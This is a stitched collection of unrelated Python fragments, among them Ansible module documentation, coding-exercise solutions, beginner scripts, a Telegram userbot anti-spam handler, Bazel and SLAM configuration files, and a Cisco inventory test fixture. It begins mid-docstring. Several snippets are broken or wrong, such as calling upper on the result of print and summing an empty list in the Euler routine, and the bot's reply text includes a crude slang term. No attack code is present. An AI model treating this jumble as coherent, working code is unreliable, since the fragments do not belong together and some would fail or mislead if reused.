expire: 60 title: System Upgrade Notification msg: Automated upgrade about to start. Please save your work and log off before {{ deployment_start_time }} async: 60 poll: 0 ''' RETURN = r''' expire_at_utc: description: Calculated utc date time when the notification expires. returned: always type: str sample: 07 July 2017 04:50:54 no_toast_sent_reason: description: Text containing the reason why a notification was not sent. returned: when no logged in users are detected type: str sample: No logged in users to notify sent_localtime: description: local date time when the notification was sent. returned: always type: str sample: 07 July 2017 05:45:54 time_taken: description: How long the module took to run on the remote windows host in seconds. returned: always type: float sample: 0.3706631999999997 toast_sent: description: Whether the module was able to send a toast notification or not. returned: always type: bool sample: false '''
VERSION = "1.4.4" if __name__ == "__main__": print(VERSION, end="")
party_size = int(input()) days = int(input()) total_coins = 0 for day in range (1, days + 1): if day % 10 == 0: party_size -= 2 if day % 15 == 0: party_size += 5 total_coins += (50 - (2 * party_size)) if day % 3 == 0: total_coins -= (3 * party_size) if day % 5 == 0: total_coins += (20 * party_size) if day % 3 == 0 and day % 5 == 0: total_coins -= (2 * party_size) print(f'{party_size} companions received {int(total_coins/party_size)} coins each.')
num = int(input("Digite o número a ser convertido: ")) base = int(input("Digite a base que deseja converter(2, 8 ou 16): ")) if base == 2: print("O número em binário é: {}".format(bin(num))) elif base == 8: print("O número em octal é: {}".format(oct(num))) else: print("O número em hexadecimal é: {}".format(hex(num)))
#break for i in range(1,10,1): if(i==5): continue print(i)
@bot.on(events.NewMessage(incoming=True)) @bot.on(events.MessageEdited(incoming=True)) async def common_incoming_handler(e): if SPAM: db=sqlite3.connect("spam_mute.db") cursor=db.cursor() cursor.execute('''SELECT * FROM SPAM''') all_rows = cursor.fetchall() for row in all_rows: if int(row[0]) == int(e.chat_id): if int(row[1]) == int(e.sender_id): await e.delete() return db=sqlite3.connect("spam_mute.db") cursor=db.cursor() cursor.execute('''SELECT * FROM MUTE''') all_rows = cursor.fetchall() for row in all_rows: if int(row[0]) == int(e.chat_id): if int(row[1]) == int(e.sender_id): await e.delete() return if e.sender_id not in MUTING_USERS: MUTING_USERS={} MUTING_USERS.update({e.sender_id:1}) if e.sender_id in MUTING_USERS: MUTING_USERS[e.sender_id]=MUTING_USERS[e.sender_id]+1 if MUTING_USERS[e.sender_id]>SPAM_ALLOWANCE: db=sqlite3.connect("spam_mute.db") cursor=db.cursor() cursor.execute('''INSERT INTO SPAM VALUES(?,?)''', (int(e.chat_id),int(e.sender_id))) db.commit() db.close() await bot.send_message(e.chat_id,"`Spammer Nibba was muted.`") return if e.chat_id > 0: await bot.send_message(e.chat_id,"`I am not trained to deal with people spamming on PM.") @bot.on(events.NewMessage(outgoing=True, pattern='.asmoff')) @bot.on(events.MessageEdited(outgoing=True, pattern='.asmoff')) async def set_asm(e): global SPAM SPAM=False await e.edit("Spam Tracking turned off!") db=sqlite3.connect("spam_mute.db") cursor=db.cursor() cursor.execute('''DELETE FROM SPAM WHERE chat_id<0''') db.commit() db.close() @bot.on(events.NewMessage(outgoing=True, pattern='.asmon')) @bot.on(events.MessageEdited(outgoing=True, pattern='.asmon')) async def set_asm(e): global SPAM global SPAM_ALLOWANCE SPAM=True message=e.text SPAM_ALLOWANCE=int(message[6:]) await e.edit("Spam Tracking turned on!") await bot.send_message(LOGGER_GROUP,"Spam Tracking is Turned on!")
"""Helper module for bitfields manipulation""" class BitField(int): """Stores an int and converts it to a string corresponding to an enum""" to_string = lambda self, enum: " ".join([i for i, j in enum._asdict().items() if self & j])
class ElectionFraudDiv2: def IsFraudulent(self, percentages): ra, rb = 0, 0 for p in percentages: a, b = 10001, 0 for i in xrange(10001): if int(round(i*100.0 / 10000)) == p: a, b = min(a, i), max(b, i) if not b: return 'YES' ra += a rb += b return 'NO' if ra <= 10000 <= rb else 'YES'
# SPDX-FileCopyrightText: 2020 FoamyGuy for Adafruit Industries # # SPDX-License-Identifier: MIT def wrap_nicely(string, max_chars): """ From: https://www.richa1.com/RichardAlbritton/circuitpython-word-wrap-for-label-text/ A helper that will return the string with word-break wrapping. :param str string: The text to be wrapped. :param int max_chars: The maximum number of characters on a line before wrapping. """ string = string.replace("\n", "").replace("\r", "") # strip confusing newlines words = string.split(" ") the_lines = [] the_line = "" for w in words: if len(the_line + " " + w) <= max_chars: the_line += " " + w else: the_lines.append(the_line) the_line = w if the_line: the_lines.append(the_line) the_lines[0] = the_lines[0][1:] the_newline = "" for w in the_lines: the_newline += "\n" + w return the_newline
""" 1. Clarification 2. Possible solutions - Recursive - Iterative - Morris traversal 3. Coding 4. Tests """ # Definition for a binary tree node. # class TreeNode: # def __init__(self, val=0, left=None, right=None): # self.val = val # self.left = left # self.right = right # T=O(n), S=O(n) class Solution: def inorderTraversal(self, root: TreeNode) -> List[int]: if not root: return [] self.ret = [] self.dfs(root) return self.ret def dfs(self, root): if not root: return self.dfs(root.left) self.ret.append(root.val) self.dfs(root.right) # T=O(n), S=O(n) class Solution: def inorderTraversal(self, root: TreeNode) -> List[int]: res = list() if not root: return res stack = [] node = root while node or stack: while node: stack.append(node) node = node.left node = stack.pop() res.append(node.val) node = node.right return res # # T=O(n), S=O(1) # class Solution: # def inorderTraversal(self, root: TreeNode) -> List[int]: # res = list() # if not root: return res # pre, node = None, root # while node: # if node.left: # pre = node.left # while pre.right and pre.right != node: # pre = pre.right # if not pre.right: # pre.right = node # node = node.left # else: # res.append(node.val) # pre.right = None # node = node.right # else: # res.append(node.val) # node = node.right # return res
class Solution: def removeStones(self, stones: List[List[int]]) -> int: graph = collections.defaultdict(list) n = len(stones) for i in range(n): for j in range(n): if i == j: continue if stones[i][0] == stones[j][0] or stones[i][1] == stones[j][1]: graph[i].append(j) visited = [False]*n components = 0 for i in range(n): if visited[i]: continue components += 1 stack = [i] visited[i] = True while stack: node = stack.pop() visited[node] = True for neighbor in graph[node]: if not visited[neighbor]: stack.append(neighbor) return n - components
""" [M] Given a Bitonic array, find if a given ‘key’ is present in it. An array is considered bitonic if it is monotonically increasing and then monotonically decreasing. Monotonically increasing or decreasing means that for any index i in the array arr[i] != arr[i+1]. Write a function to return the index of the ‘key’. If the 'key' is not present, return -1. Example 1: Input: [1, 3, 8, 4, 3], key=4 Output: 3 Example 2: Input: [3, 8, 3, 1], key=8 Output: 1 """ # TIme: O(logn) Space: O(1) def search_bitonic_array(arr, key): maxIndex = find_max(arr) keyIndex = binary_search(arr, key, 0, maxIndex) if keyIndex != -1: return keyIndex return binary_search(arr, key, maxIndex + 1, len(arr) - 1) # find index of the maximum value in a bitonic array def find_max(arr): start, end = 0, len(arr) - 1 while start < end: mid = start + (end - start) // 2 if arr[mid] > arr[mid + 1]: end = mid else: start = mid + 1 # at the end of the while loop, 'start == end' return start # order-agnostic binary search def binary_search(arr, key, start, end): while start <= end: mid = int(start + (end - start) / 2) if key == arr[mid]: return mid if arr[start] < arr[end]: # ascending order if key < arr[mid]: end = mid - 1 else: # key > arr[mid] start = mid + 1 else: # descending order if key > arr[mid]: end = mid - 1 else: # key < arr[mid] start = mid + 1 return -1 # element is not found def main(): print(search_bitonic_array([1, 3, 8, 4, 3], 4)) print(search_bitonic_array([3, 8, 3, 1], 8)) print(search_bitonic_array([1, 3, 8, 12], 12)) print(search_bitonic_array([10, 9, 8], 10)) main()
''' Given a binary tree and a sum, determine if the tree has a root-to-leaf path such that adding up all the values along the path equals the given sum. Note: A leaf is a node with no children. Example: Given the below binary tree and sum = 22, 5 / \ 4 8 / / \ 11 13 4 / \ \ 7 2 1 return true, as there exist a root-to-leaf path 5->4->11->2 which sum is 22. ''' # Definition for a binary tree node. class TreeNode: def __init__(self, x): self.val = x self.left = None self.right = None class Solution: def dfs(self,root,csum): #if the node is leafe if root is None: #check if the cumsum equal to input if csum == self.check: return True else: return False csum += root.val #find any matches return self.dfs(root.left,csum) or self.dfs(root.right,csum) def hasPathSum(self, root: TreeNode, sum: int) -> bool: self.check = sum if not root: return False else: return self.dfs(root,0) class Solution2: def dfs(self,root,csum): #if node exist if root: #if node a leafe #if not (root.left and root.right): NOT WORKING #USE is None instead if root.left is None and root.right is None: #add value to cumsum csum += root.val #return #return True if csum ==self.check else False #is not working, == is used if csum == self.check: return True #check for children return self.dfs(root.left,csum) or self.dfs(root.right,csum) def hasPathSum(self, root: TreeNode, sum: int) -> bool: self.check = sum return self.dfs(root,0) root = TreeNode(5) root.left = TreeNode(4) root.left.left = TreeNode(11) root.left.left.left =TreeNode(7) root.left.left.right = TreeNode(2) root.right = TreeNode(8) root.right.left = TreeNode(13) root.right.right = TreeNode(4) root.right.right.right = TreeNode(1) s = Solution() s2 = Solution2() res = s.hasPathSum(root,22) res2 = s2.hasPathSum(root,22) # res = s.hasPathSum(None,0) print(res,'\n',res2)
class Solution: def majorityElement(self, nums: List[int]) -> List[int]: nums_dict = {} for num in nums: if num in nums_dict: nums_dict[num] += 1 else: nums_dict[num] = 1 return [key for key, value in nums_dict.items() if value > len(nums) / 3]
# -*- python -*- load("@drake//tools/workspace:github.bzl", "github_archive") def scs_repository( name, mirrors = None): github_archive( name = name, repository = "cvxgrp/scs", # When updating this commit, see drake/tools/workspace/qdldl/README.md. commit = "v2.1.3", sha256 = "cb139aa8a53b8f6a7f2bacec4315b449ce366ec80b328e823efbaab56c847d20", # noqa build_file = "@drake//tools/workspace/scs:package.BUILD.bazel", patches = [ # Fix some include paths for our build of QDLDL. # TODO(jwnimmer-tri) We should upstream these options under a # config switch. "@drake//tools/workspace/scs:private.h.diff", # Fix sizeof(bool) for our build of QDLDL. # TODO(jwnimmer-tri) We should upstream this fix. "@drake//tools/workspace/scs:private.c.diff", ], mirrors = mirrors, )
while True: ans = sorted([int(n) for n in input().split()]) if sum(ans) == 0: break print(*ans)
{ "object_templates": [ { "name": "fridge", "description": ["Fridge desc."], "container": [10] }, { "type_name": "barrel", "description": ["Barrel desc."], "interest": [5], "sound": { "OPEN": 2 }, "container": [5], }, { "type_name": "stove", "description": ["device desc."], "device": [] } ] }
# -*- coding: utf-8 -*- HOME_DIR = r"D:\\Documents\\Data\\MSL\\FRBG3_1\\rgbd_dataset_freiburg3_long_office_household\\" RGB_FILE_PATH = HOME_DIR + "rgb\\" #Path where the RGB files are stored DEPTH_FILE_PATH = HOME_DIR + "depth\\" #Path where the depth maps are stored _2D_FEATURE_DUMP_PATH = HOME_DIR + "Output.csv" #Path to dump feature vectors GROUND_TRUTH_FILE = HOME_DIR + "groundtruth.txt" #Ground truth file for the camera position, as given in the computer vision dataset from Technische Universität München """ Check: http://vision.in.tum.de/data/datasets/rgbd-dataset/download# for more details """ """ For the first iteration, the camera position is being read from a ground truth file (which has been obtained by externally tracking the camera). This saves us the necessity of implementing the Extended Kalman Filter at the very onset. We use this as an oppurtunity to build and debug our test environment, as well as coding the module for initializing depth vectors from features. Please check documentation for "Iteration-1", for more details regarding this approach""" DEPTH_IMAGE_LIST = HOME_DIR + "depth.txt" #Location to the text file containing list of all depth images RGB_IMAGE_LIST = HOME_DIR + "rgb.txt" #Location of the text file containing list of all RGB images ARRAY_DUMP_PATH = HOME_DIR ARRAY_DUMP_PREFIX = "FeatureArray" """parameters for associate.py""" ASSOCIATE_OFFSET = 0.0 #time offset added to the timestamps of the second file (default: 0.0) ASSOCIATE_MAX_DIFFERENCE = 0.02 #maximally allowed time difference for matching entries(default: 0.02) DEPTH_FILE_TYPE = ".png" FILE_NAME_LENGTH = 17 RGB_DEPTH_MATCH_THRESHOLD = 0.000001 """+++++++++++++++++++++++++++""" DEBUG = 0 # enable/disable debug dumps. 1 turns it on, 0 switches it off VR = 1 # Enable/disable visual representation OR graphs LOG_FILE = 1 # Toggle writing of logs to file IS_INVERSE_DEPTH_PARAMETRIZATION = 0 # assign 1 to this variavle if using Inverse Depth Parameterization, assign 0 is using XYZ representation IS_LOCALIZATION_FROM_GT = 1 # assign 1 to indicate that the current position of camera is being read from Groundtruth file (and not using SFM/homography estimation) GT_DATA_SIZE = 100 # Number of entries that we are using from position GT file TOTAL_GT_DATA_SIZE = 8710 # Total number of entries in GT File, required for finding positional GT for RGB images """debugging parameters for OpticalFlow.py""" SHOW_FEATURES_2D = 1 # Show the image containing 2D images along with the detected features (marked as circles) in a window. [Feature detection and tracking using OpenCV stuff] SAVE_FEATURES_2D_IMG = 1 # Save the image containing 2D images along with the detected features (marked as circles) FEATURES_2D_SAVE_DIR = HOME_DIR + "features\\" # Path to save the images, if SAVE_FEATURES_2D_IMG is enabled FEATURE_IMG_NAME = "features" FEATURE_IMG_EXTN = ".png" FEATURE_MATCHING_FILE = FEATURES_2D_SAVE_DIR + "features.txt" """ +++++++++++++++++++++++++++++++++++++ """ IMAGE_READ_OFFSET = 500 GT_START_INDEX = 0 # Line number of ground truth file at which we should start reading the position from GT_END_INDEX = GT_DATA_SIZE # Line number of ground truth file at which we should end reading the position GT_HEADER_END_LINE = 3 # Line number at which the ground truth file's header information ends PARTICLE_FILTER = 1 #Enables feature depth mapping using particle filtering PARTICLE_INIT_DEPTH = 0.5 # Depth at which the depth-particles would be initiated from PARTICLE_COUNT = 100 # Number of depth-particles PARTICLE_INTERVAL = 0.045 # Seperation at which the depth-particles are intialized """ Check https://www.doc.ic.ac.uk/~ajd/Publications/civera_etal_tro2008.pdf for more details on Inverse Depth Parametrization for Monocular SLAM """ FEATURE_SIZE = 10 # Number of features to be extracted from each frame/image MAX_OBSERVATION = GT_END_INDEX - GT_START_INDEX + 1 # Maximum number of frames/images/observations allowed in a single session MAX_FEATURES = FEATURE_SIZE * MAX_OBSERVATION # Maximum possible number of feature points extracted in one session SCALED_OBSERVATION_SIZE = 199 MIN_FEATURE_DISTANCE = 4 # Minimum Eucledian distance between two consecutive feature positions on image plane (pixel coordinates), as obtained from Shi-Tomasi feature detector WORLD_SCALE_X = 100 # Scale of the entire map along X - axis WORLD_SCALE_Y = 100 # Scale of the entire map along Y - axis WORLD_SCALE_Z = 100 # Scale of the entire map along Z - axis """ ****CAMERA STATE SPACE REPRESENTATION**** """ POSITION_VECTOR_SIZE = 3 # Defining the size of the vector representing the position of the camera QUATERNION_SIZE = 4 # Defining the size of the unit quaternion representing the current orientation of the camera TRANSLATIONAL_VELOCITY_VECTOR_SIZE = 3 # Defining the size of the vector representing the instantenous translational velocity of the camera ANGULAR_VELOCITY_VECTOR_SIZE = 3 # Defining the size of the vector representing the instantenous angular velocity of the camera """ ********INITIALIZATION PARAMETERS******** """ INITIAL_DEPTH_ESTIMATE = 0.5 INIT_X = 0 INIT_Y = 0 INIT_Z = 0 QUAT_INIT_REAL = 1 QUAT_INIT_I = 0 QUAT_INIT_J = 0 QUAT_INIT_K = 0 INIT_V_X = 0 INIT_V_Y = 0 INIT_V_Z = 0 INIT_OMEGA_X = 0 INIT_OMEGA_Y = 0 INIT_OMEGA_Z = 0 """ **********CAMERA INTRINSIC PARAMETER************ """ """ Intrinsic parameter for RGB-D SLAM dataset of Technische Universität München, camera: Freiburg 1""" """ For additional details, please refer: http://vision.in.tum.de/data/datasets/rgbd-dataset/file_formats#intrinsic_camera_calibration_of_the_kinect""" """ # ***Parameters for FRBG 1*** Fu = 517.3 Fv = 516.5 Cu = 318.6 Cv = 255.3 d0 = 0.2624 d1 = -0.9531 d2 = -0.0054 d3 = 0.0026 d4 = 1.1633 """ # ***Parameters for FRBG 3*** Fu = 535.4 Fv = 539.2 Cu = 320.1 Cv = 247.6 d0 = 0 d1 = 0 d2 = 0 d3 = 0 d4 = 0 # -*- coding: utf-8 -*-
class WsContext: """ 被动事件里携带的上下文信息,目前仅有部分事件支持 """ def __init__(self, event_type: str, event_id: str): self.event_type = str(event_type or "") self.event_id = str(event_id or "")
# card_hold_href is the stored href for the CardHold card_hold = balanced.CardHold.fetch(card_hold_href) debit = card_hold.capture( appears_on_statement_as='ShowsUpOnStmt', description='Some descriptive text for the debit in the dashboard' )
''' Given a non-empty array of integers, every element appears three times except for one, which appears exactly once. Find that single one. Note: Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory? ''' class Solution: def singleNumber(self, nums: List[int]) -> int: d = dict() for i in range(len(nums)): if nums[i] not in d: d[nums[i]] = 1 else: d[nums[i]]+=1 for k in d.keys(): if d[k] == 1: return k
def euler013(): # 関数euler013の定義 q = [] # qに空のリストを代入 a = str(sum(q)) # aにqの要素の総和の文字列表現を代入 ret = "" # retに空文字列を代入 for i, ch in enumerate(a): # chをaの各要素、iをその番号として if i < 10: # もしiが10未満であれば ret += ch # retにchを追加 return ret # retを返す def euler013_front_n_slice(s, n): # sとnを引数とする関数euler013_front_n_sliceを定義 ret = "" # retに空文字列を代入 for i, ch in enumerate(s): # chをsの各要素、iをその番号として if i < n: # もしiがn未満であれば ret += ch # retにchを追加 return ret # retを返す def euler013_query_n_sum(q, n): # qとnを引数とする関数euler013_query_n_sumを定義 s = 0 # sに0を代入 for i in range(n): # n未満の非負整数を順にiとして s += q[i] # sにqのi番目を足す return s # sを返す
time = ('Internacional', 'Flamengo', 'Atlético-MG','Fluminense', 'São Paulo', 'Santos', 'Palmeiras', 'Fortaleza', 'Grêmio', 'Ceará', 'Atlético-GO', 'Sport', 'Corinthians', 'Bahia', 'Bragantino', 'Botafogo', 'Vasco', 'Athletico-PR', 'Coritiba', 'Goiás') print('='*50) print('Tabela dos times do brasileirão - 26/10/2020') print('='*50) print(f'Os 5 primeiros colocados são:{time[0:5]} ') print('='*50) print(f'Os últimos 4 colocados são:{time[16:21]}' ) print('='*50) print(f'Os times em ordem alfabética são: {sorted(time)}') print('='*50) print(f'O São Paulo está na {time.index("São Paulo")+1}ª posição') print('='*50)
class Android: # adb keyevent KEYCODE_ENTER = "KEYCODE_DPAD_CENTER" KEYCODE_RIGHT = "KEYCODE_DPAD_RIGHT" KEYCODE_LEFT = "KEYCODE_DPAD_LEFT" KEYCODE_DOWN = "KEYCODE_DPAD_DOWN" KEYCODE_UP = "KEYCODE_DPAD_UP" KEYCODE_SPACE = "KEYCODE_SPACE" # adb get property PROP_LANGUAGE = "persist.sys.language" PROP_COUNTRY = "persist.sys.country" PROP_BOOT_COMPLETED = "sys.boot_completed" PROP_SIM_STATE = "gsm.sim.state" # adb shell dumpsys category CATEGORY_MEDIA_AUDIO_FLINGER = "media.audio_flinger" CATEGORY_POWER = "power" CATEGORY_INPUT = "input" CATEGORY_WIFI = "wifi" CATEGORY_AUDIO = "audio" CATEGORY_STATUSBAR = "statusbar" CATEGORY_ACTIVITY = "activity activities" VAL_BATTERY = "mBatteryLevel" # UiAutomator Jar : Default LASCALL JAR_AUBS = "aubs.jar" # AUBS Method AUBS = "jp.setsulla.aubs.Aubs" AUBS_SYSTEM_ALLOWAPP = "jp.setsulla.aubs.system.AndroidTest#testAllowSettingsApp" # AURA Service AURA_PACKAGE = "jp.setsulla.aura" AURA_DEBUGON = "jp.setsulla.aura.DEBUG_ON"
"""CUBRID FIELD_TYPE Constants These constants represent the various column (field) types that are supported by CUBRID. """ CHAR = 1 VARCHAR = 2 NCHAR = 3 VARNCHAR = 4 BIT = 5 VARBIT = 6 NUMERIC = 7 INT = 8 SMALLINT = 9 MONETARY = 10 BIGINT = 21 FLOAT = 11 DOUBLE = 12 DATE = 13 TIME = 14 TIMESTAMP = 15 OBJECT = 19 SET = 32 MULTISET = 64 SEQUENCE = 96 BLOB = 254 CLOB = 255 STRING = VARCHAR
class BearToy: def __init__(self, name, size, color): # 在实例化时自动执行 self.name = name self.size = size self.color = color def sing(self): print('I am %s, lalala...' % self.name) if __name__ == '__main__': # 把参数传给__init__, 实例本身,如tidy,自动作为第一个参数传递 tidy = BearToy('tidy', 'middle', 'yellow') print(tidy.size) print(tidy.color) tidy.sing()
gainGyroAngle = 1156*1.4 gainGyroRate = 146*0.85 gainMotorAngle = 7*1 gainMotorAngularSpeed = 9*0.95 gainMotorAngleErrorAccumulated = 0.6
# Upper makes a string completely capitalized. parrot = "norwegian blue" print ("parrot").upper()
file = open('binaryBoarding_input.py', 'r') tickets = file.readlines() total_rows = 128 total_columns = 8 def find_row(boarding_pass): min_row = 0 max_row = total_rows - 1 for letter in boarding_pass[:7]: if letter == 'F': max_row = max_row - int((max_row - min_row) / 2) - 1 elif letter == 'B': min_row = min_row + int((max_row - min_row) / 2) + 1 return max_row def find_seat(boarding_pass): min_seat = 0 max_seat = total_columns - 1 for letter in boarding_pass[7:]: if letter == 'R': min_seat = min_seat + int((max_seat - min_seat) / 2) + 1 elif letter == 'L': max_seat = max_seat - int((max_seat - min_seat) / 2) - 1 return max_seat claimed_seats = [False] * total_columns * total_rows empty_seats = [] for i in range(total_rows): for j in range(total_columns): empty_seats.append((i, j)) for ticket in tickets: row = find_row(ticket) seat = find_seat(ticket) seat_id = row * 8 + seat claimed_seats[seat_id] = True for i in range(len(claimed_seats)): is_taken = claimed_seats[i] if is_taken: empty_seats[i] = False for i in range(1, len(empty_seats) - 1): seat_before = empty_seats[i - 1] seat = empty_seats[i] seat_after = empty_seats[i + 1] if seat and not seat_before and not seat_after: row = seat[0] column = seat[1] print(row * 8 + column)
x = int(input()) y = int(input()) NotMult = 0 if x<y: for c in range(x, y+1): if (c%13)!=0: NotMult += c if x>y: for c in range(y, x+1): if (c%13)!=0: NotMult += c print(NotMult)
# Control all of the game settings. # Imports class Settings(): """Class to store all game settings.""" # Initalize game settings def __init__(self): # Screen Settings self.screen_width = 1200 self.screen_height = 800 self.bgColor = (230,230,230) # Ship settings self.shipSpeedFactor = 1 self.ship_limit = 3 # Bullet settings self.bullet_speed_factor = 3 self.bullet_width = 3 self.bullet_height = 20 self.bullet_color = (60,60,60) #RGB self.bullets_allowed = 3 # Alien settings self.alien_speed_factor = 0.5 self.fleet_drop_speed = 10 self.fleet_direction = 1 #-1 represents left, 1 represents right # Game settings self.speedup_scale = 1.1 # Scoring self.alien_points = 50 self.score_scale = 1.5 self.initialize_dynamic_settings() # Initalize the settings for making game HARDER to play def initialize_dynamic_settings(self): self.shipSpeedFactor = 1 self.bullet_speed_factor = 3 self.alien_speed_factor = 0.5 self.fleet_direction = 1 # Increase the speed of the game def increase_speed(self): self.shipSpeedFactor *= self.speedup_scale self.bullet_speed_factor *= self.speedup_scale self.alien_speed_factor *= self.speedup_scale self.alien_points = int(self.alien_points * self.score_scale)
#!/usr/bin/env python # -*- coding: UTF-8 -*- def test1(): print('\ntest1') x = 10 y = 1 result = x if x > y else y print(result) def max2(x, y): return x if x > y else y def test2(): print('\ntest2') print(max2(10, 20)) print(max2(2, 1)) def main(): test1() test2() if __name__ == "__main__": main()
n = int(input('Digite um número: ')) u = n // 1 % 10 d = n // 10 % 10 c = n // 100 % 10 m = n // 1000 % 10 print("""Analisando {} ele tem: {} unidade; {} dezenas; {} centenas; {} milhares. """.format(n, u, d, c, m))
"""pytest is unhappy if it finds no tests""" def test_nothing(): """An empty test to keep pytest happy"""
name = input("What is your name?") quest = input("What is your quest?") color = input("What is your favorite color?") print(f"So your name is {name}.\nYou seek to {quest}.\nYour favorite color is {color}.\nYou may cross!")
class Rectangle(object): def __init__(self, length, width): self.length = length self.width = width def area(self): return self.length * self.width def perimeter(self): return 2 * self.length + 2 * self.width class Square(Rectangle): def __init__(self, length): super().__init__(length, length) if __name__ == '__main__': print() square = Square(4) print(square.area()) class Cube(Square): def surface_area(self): face_area = super().area() return face_area * 6 def volume(self): face_area = super().area() return face_area * self.length if __name__ == '__main__': cube = Cube(4) print() print(cube.surface_area()) print(cube.volume()) ### A super() Deep Dive class Square2(Rectangle): def __init__(self, length): super(Square2, self).__init__(length, length) class Cube2(Square2): def surface_area(self): face_area = super(Square2, self).area() return face_area * 6 def volume(self): face_area = super(Square2, self).area() return face_area * self.length ### HERANÇA MULTIPLA(MULTIPLE INHERITANCE) class Triangle: def __init__(self, base, height): self.base = base self.height = height super().__init__() def area(self): return 0.5 * self.base * self.height class RightPyramid(Square, Triangle): def __init__(self, base, slant_height): self.base = base self.slant_height = slant_height super().__init__(self.base) def area(self): base_area = super().area() perimeter = super().perimeter() return 0.5 * perimeter * self.slant_height + base_area def area_2(self): base_area = super().area() triangle_area = super().area() return triangle_area * 4 + base_area if __name__ == '__main__': pyramid = RightPyramid(base=2, slant_height= 4) print(RightPyramid.__mro__) # method resolution order (or MRO) => informa como procurar metodos herdados print(pyramid.area()) print(pyramid.area_2()) print(pyramid.perimeter())
a = list(map(int,input().split())) b = list(map(int,input().split())) for i in range(a[0]): if b[i] < a[1]: print(b[i],end='') print(" ",end='')
def main(): n = int(input()) v = list(map(int, input().split())) m = dict() res = 0 for i in v: if i not in m: m[i] = 0 m[i] += 1 k = v.copy() for i in range(n - 1, 0, -1): k[i - 1] = k[i] + k[i - 1] for i in range(0, n - 1): res += -(n - i - 1) * v[i] + k[i + 1] m[v[i]] -= 1 if v[i] + 1 in m: res -= m[v[i] + 1] if v[i] - 1 in m: res += m[v[i] - 1] print(res) if __name__ == '__main__': main()
expected_output = { "main": { "chassis": { "C9407R": { "name": "Chassis", "descr": "Cisco Catalyst 9400 Series 7 Slot Chassis", "pid": "C9407R", "vid": "V01", "sn": "******", } }, "TenGigabitEthernet3/0/1": { "SFP-10G-SR": { "name": "TenGigabitEthernet3/0/1", "descr": "SFP 10GBASE-SR", "pid": "SFP-10G-SR", "vid": "01", "sn": "******", } }, "TenGigabitEthernet3/0/2": { "SFP-10G-SR": { "name": "TenGigabitEthernet3/0/2", "descr": "SFP 10GBASE-SR", "pid": "SFP-10G-SR", "vid": "01", "sn": "******", } }, "TenGigabitEthernet3/0/3": { "SFP-10G-SR": { "name": "TenGigabitEthernet3/0/3", "descr": "SFP 10GBASE-SR", "pid": "SFP-10G-SR", "vid": "01", "sn": "******", } }, "TenGigabitEthernet3/0/4": { "SFP-10G-SR": { "name": "TenGigabitEthernet3/0/4", "descr": "SFP 10GBASE-SR", "pid": "SFP-10G-SR", "vid": "01", "sn": "******", } }, "TenGigabitEthernet3/0/8": { "QFBR-5798L": { "name": "TenGigabitEthernet3/0/8", "descr": "GE SX", "pid": "QFBR-5798L", "vid": "", "sn": "******", } }, }, "slot": { "Slot_1_Linecard": { "lc": { "C9400-LC-48P": { "name": "Slot 1 Linecard", "descr": "Cisco Catalyst 9400 Series 48-Port POE 10/100/1000 (RJ-45)", "pid": "C9400-LC-48P", "vid": "V01", "sn": "******", } } }, "Slot_2_Linecard": { "lc": { "C9400-LC-48P": { "name": "Slot 2 Linecard", "descr": "Cisco Catalyst 9400 Series 48-Port POE 10/100/1000 (RJ-45)", "pid": "C9400-LC-48P", "vid": "V01", "sn": "******", } } }, "Slot_5_Linecard": { "lc": { "C9400-LC-48P": { "name": "Slot 5 Linecard", "descr": "Cisco Catalyst 9400 Series 48-Port POE 10/100/1000 (RJ-45)", "pid": "C9400-LC-48P", "vid": "V01", "sn": "******", } } }, "Slot_6_Linecard": { "lc": { "C9400-LC-48P": { "name": "Slot 6 Linecard", "descr": "Cisco Catalyst 9400 Series 48-Port POE 10/100/1000 (RJ-45)", "pid": "C9400-LC-48P", "vid": "V01", "sn": "******", } } }, "Slot_3_Supervisor": { "other": { "C9400-SUP-1": { "name": "Slot 3 Supervisor", "descr": "Cisco Catalyst 9400 Series Supervisor 1 Module", "pid": "C9400-SUP-1", "vid": "V02", "sn": "******", } } }, "P1": { "other": { "C9400-PWR-3200AC": { "name": "Power Supply Module 1", "descr": "Cisco Catalyst 9400 Series 3200W AC Power Supply", "pid": "C9400-PWR-3200AC", "vid": "V01", "sn": "******", } } }, "P2": { "other": { "C9400-PWR-3200AC": { "name": "Power Supply Module 2", "descr": "Cisco Catalyst 9400 Series 3200W AC Power Supply", "pid": "C9400-PWR-3200AC", "vid": "V01", "sn": "DTM224703G0", } } }, "Fan_Tray": { "other": { "C9407-FAN": { "name": "Fan Tray", "descr": "Cisco Catalyst 9400 Series 7 Slot Chassis Fan Tray", "pid": "C9407-FAN", "vid": "V01", "sn": "******", } } }, }, }
a = int(input()) s = list(range(1, a+1)) k = len(s) while k > 1: if k & 1: s = s[::2] del s[0] else: s = s[::2] k = len(s) print(s[0])
ANONYMOUS = 'Anonymous User' PUBLIC_NON_REQUESTER = 'Public User - Non-Requester' PUBLIC_REQUESTER = 'Public User - Requester' AGENCY_HELPER = 'Agency Helper' AGENCY_OFFICER = 'Agency FOIL Officer' AGENCY_ADMIN = 'Agency Administrator' POINT_OF_CONTACT = 'point_of_contact'
class Solution: def partition(self, head, x): h1 = l1 = ListNode(0) h2 = l2 = ListNode(0) while head: if head.val < x: l1.next = head l1 = l1.next else: l2.next = head l2 = l2.next head = head.next l2.next = None l1.next = h2.next return h1.next
# Python 2.7 Coordinate Generation MYARRAY = [] INCREMENTER = 0 while INCREMENTER < 501: MYARRAY.append([INCREMENTER, INCREMENTER*2]) INCREMENTER += 1
#: attr1 attr1: str = '' #: attr2 attr2: str #: attr3 attr3 = '' # type: str class _Descriptor: def __init__(self, name): self.__doc__ = "This is {}".format(name) def __get__(self): pass class Int: """An integer validator""" @classmethod def __call__(cls,x): return int(x) class Class: attr1: int = 0 attr2: int attr3 = 0 # type: int attr7 = Int() descr4: int = _Descriptor("descr4") def __init__(self): self.attr4: int = 0 #: attr4 self.attr5: int #: attr5 self.attr6 = 0 # type: int """attr6""" class Derived(Class): attr7: int
